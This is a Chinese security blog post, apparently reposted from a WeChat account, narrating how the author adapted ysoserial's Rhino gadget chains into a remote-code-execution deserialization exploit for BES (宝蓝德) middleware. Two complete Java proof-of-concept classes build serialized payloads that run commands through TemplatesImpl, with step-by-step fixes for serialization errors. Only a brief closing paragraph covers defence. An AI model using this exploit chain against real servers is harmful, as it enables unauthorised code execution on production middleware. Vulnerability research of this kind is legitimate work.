某中间件反序列化链曲折调试

admin 2024年9月3日12:18:46评论26 views字数 9384阅读31分16秒阅读模式

一、前言

朋友找我一起调试宝蓝德中间件的发序列化漏洞,经过朋友一起的努力调试:使用断点、重写java文件等多种手段进行序列化生成字节码,最后改Rhino2的链构造成功。

二、曲折的反序列化链调试

已知宝蓝德有反序列化接口,并且存在二次开发的Rhino jar,需要构造一个RCE 反序列化。

2.1、序列化失败?

直接抽取yso中的代码,生成RhinoChain序列化的字节码测试

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino1.java

不过这里要注意的是需要修改类的名前缀:因为jar的包名是com.bes.org.mozilla

org.mozilla.javascript.NativeError => com.bes.org.mozilla.javascript.NativeError

开始测试是否能反序列化成功。

package org.example;


import com.bes.org.mozilla.javascript.Context;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.bes.org.mozilla.javascript.*;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;


import javax.management.BadAttributeValueExpException;
import java.io.File;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;


public classRhinoChain1{


    public static void main(String[] args){
try{
String command ="/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Class nativeErrorClass =Class.forName("com.bes.org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject =(IdScriptableObject) nativeErrorConstructor.newInstance();


Context context =Context.enter();


Field nameField = com.bes.org.mozilla.javascript.Context.class.getDeclaredField("topCallScope");
            nameField.setAccessible(true);
            nameField.set(context, idScriptableObject);


NativeObject scriptableObject =(NativeObject) context.initStandardObjects();


Method enterMethod =Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod,"name");
            idScriptableObject.setGetterOrSetter("name",0, method, false);


Method newTransformer =TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer,"message");
            idScriptableObject.setGetterOrSetter("message",0, nativeJavaMethod, false);


Method getSlot =ScriptableObject.class.getDeclaredMethod("getSlot",String.class,int.class,int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject,"name",0,1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);


Class memberboxClass =Class.forName("com.bes.org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
            getter.set(slot, memberboxes);


NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject,Gadgets.createTemplatesImpl(command),TemplatesImpl.class);
            idScriptableObject.setPrototype(nativeObject);


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
            valField.set(badAttributeValueExpException, idScriptableObject);




ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(new File("test").toPath()));
            out.writeObject(badAttributeValueExpException);
            out.flush();
            out.close();


ObjectInputStreamin= new ObjectInputStream(Files.newInputStream(new File("test").toPath()));
in.readObject();


} catch (Exception e){
            e.printStackTrace();
}
}
}

2.1.1、报错NotSerializableException?

报错如下,直接序列化报错。

某中间件反序列化链曲折调试
0

于是我们来到最后的异常地方,找到defaultWriteFields函数,这样很直观看到序列化哪个对象失败了,这里可以看到IdFunctionObject的tag属性是Object,而作为非基本属性又没有继承Serialize的话,就会序列化失败。

某中间件反序列化链曲折调试
1

我们再来看看是在哪里赋值的?在源码中也没有找到,于是下断点,溯源到来源地方。

某中间件反序列化链曲折调试
2
发现来此com.bes.org.mozilla.javascript.BaseFunction的静态参数
某中间件反序列化链曲折调试
3
某中间件反序列化链曲折调试
4

这里参考未修改的Rhion的jar,发现这里的tag为固定值Global,所以这里可以通过断点修改

com.bes.org.mozilla.javascript.IdFunctionObject#IdFunctionObject
某中间件反序列化链曲折调试
5

继续反序列化

2.1.2、报错BAD FUNCTION ID=1?

还是报错,接着调试。

某中间件反序列化链曲折调试
6

通过栈回溯,找到对应的语句,这里有一个条件判断语句,这里判断"Global"==new Object(),因为我们之前的修改成了固定值为Global,所以肯定失败,这里我们要跳过去。

某中间件反序列化链曲折调试
7

这里我可以,通过重定义java文件,修改逻辑

某中间件反序列化链曲折调试
8

终于序列化成功。

2.2、反序列化又失败?

2.2.1、报错IllegalStateException?

进行反序列化的时候,直接报错。

某中间件反序列化链曲折调试
9

有一个地方判断cx.topCallScope是否为空

某中间件反序列化链曲折调试
10
某中间件反序列化链曲折调试
11
com.bes.org.mozilla.javascript.Context
Scriptable topCallScope

我们要让topCallScope不为空,怎么办呢?通过反射修改

初始化class

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] {Target.class, transformedMap});

这里进行修改属性

Field nameField = com.bes.org.mozilla.javascript.Context.class.getDeclaredField("topCallScope");
nameField.setAccessible(true);
nameField.set(context, idScriptableObject);

通过反射修改进行赋值即可。

某中间件反序列化链曲折调试
12

2.2.2、报错No Context associated with current Thread?

可惜的的是,折腾这么久了,最后还是失败。

某中间件反序列化链曲折调试
13

某中间件反序列化链曲折调试
14

这里尝试给服务器发送数据包,也是无法成功,因为服务器没设置在该线程设置context。

于是按照正常的思路走了一下,发现都是卡在下面为空:检查getCurrentContext的结果是否为空,如果为空就抛出异常。

某中间件反序列化链曲折调试
15

经过调试发现Context.enter函数会对在该线程设置context。

某中间件反序列化链曲折调试
16

如何在反序列化过程调用Context.enter函数呢?这也太复杂了,于是看看是否有前人解决

发现yso是有第二条链的:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/MozillaRhino2.java

某中间件反序列化链曲折调试
17

2.3、第二个反序列化链->改链

但是可惜的第二条链我们也并不能直接使用,因为这个jar并没有Environment类,需要我们找功能同等的类代替。

某中间件反序列化链曲折调试
18

于是分析Environment类在反序列化的作用,结果在yso给的调用栈并没有发现Environment类,而且在触发计算器的栈也没有发现Environment类。

从调试过程发现是调用了Environment的get方法,但实际是调用super.get方法

某中间件反序列化链曲折调试
19

其实到这里差不多了,找一个NativeArray类代替Environment类,这里Environment的类的作用就是调用父类方法获取后面用的方法名(所以只要找到继承了同样方法的类就好了,毕竟调用的是父类方法)。

成功弹窗

某中间件反序列化链曲折调试
20

这里给出PoC

package org.example;

import com.bes.org.mozilla.javascript.*;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.util.Hashtable;
import java.util.Map;

publicclassRhino2{
publicstaticvoid customWriteAdapterObject(Object javaObject,ObjectOutputStreamout)throwsIOException{
out.writeObject("java.lang.Object");
out.writeObject(newString[0]);
out.writeObject(javaObject);
}

publicvoid test()throwsException{
String command ="open /tmp/";


ScriptableObject dummyScope =newNativeArray(10);
Map<Object,Object> associatedValues =newHashtable<Object,Object>();
        associatedValues.put("ClassCache",Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope,"associatedValues", associatedValues);


Object initContextMemberBox =Reflections.createWithConstructor(
Class.forName("com.bes.org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("com.bes.org.mozilla.javascript.MemberBox"),
newClass[]{Method.class},
newObject[]{Context.class.getMethod("enter")});


ScriptableObject initContextScriptableObject =newNativeArray(10);
Method makeSlot =ScriptableObject.class.getDeclaredMethod("accessSlot",String.class,int.class,int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject,"foo",0,4);
Reflections.setFieldValue(slot,"getter", initContextMemberBox);


NativeJavaObject initContextNativeJavaObject =newNativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject,"parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject,"isAdapter",true);
Reflections.setFieldValue(initContextNativeJavaObject,"adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject",Object.class,ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject,"javaObject", initContextScriptableObject);

ScriptableObject scriptableObject =newNativeArray(10);
        scriptableObject.setParentScope(initContextNativeJavaObject);
        makeSlot.invoke(scriptableObject,"outputProperties",0,2);

NativeJavaArray nativeJavaArray =Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray,"parent", dummyScope);
Reflections.setFieldValue(nativeJavaArray,"javaObject",Gadgets.createTemplatesImpl(command));
        nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray,"prototype", scriptableObject);

NativeJavaObject nativeJavaObject =newNativeJavaObject();
Reflections.setFieldValue(nativeJavaObject,"parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject,"isAdapter",true);
Reflections.setFieldValue(nativeJavaObject,"adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject",Object.class,ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject,"javaObject", nativeJavaArray);

ObjectOutputStreamout=newObjectOutputStream(Files.newOutputStream(newFile("test4").toPath()));
out.writeObject(nativeJavaObject);
out.flush();
out.close();


ObjectInputStreamin=newObjectInputStream(Files.newInputStream(newFile("test4").toPath()));
in.readObject();
}


publicstaticvoid main(String[] args)throwsException{
Rhino2 rhino2 =newRhino2();
        rhino2.test();


}
}

三、防御

反序列化漏洞防御可以通过rasp以及resolveClass自定义的方式防御,而Rhino的链子比较灵活,需要注意一下绕过风险。

四、总结

通过断点、重写java文件进行序列化生成字节码,最后改Rhino2的链构造成功。经典反序列化链还是需要经常看看,毕竟多组合或改链就可以发现新的0day。

社群:加我lufeirider微信进群。

知识星球:关注攻击(红蓝对抗、代码审计、渗透、SRC漏洞挖掘等等)与防御(情报、扫描器、应用扫描、WAF、NIDS、HIDS、蜜罐等等)。目前聚焦ai落地攻击和防御。

某中间件反序列化链曲折调试

攻防与防御回顾

java内存马深度利用:窃取明文、钓鱼

k8s被黑真能溯源到攻击者吗?

“VT全绿”-手动patch exe免杀

最近CDN供应链事件的曲折分析与应对-业务安全

加载数据集或模型可能就中毒!大模型供应链安全

AI与基础安全结合的新的攻击面

AI落地-蓝军之默认密码获取

BootCDN供应链攻击分析与应对

挖洞技巧-扩展攻击面

weblogic-2019-2725exp回显构造

WEB越权-劝你多删参数值

原文始发于微信公众号(lufeisec):某中间件反序列化链曲折调试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月3日12:18:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某中间件反序列化链曲折调试http://cn-sec.com/archives/3122108.html

发表评论

匿名网友 填写信息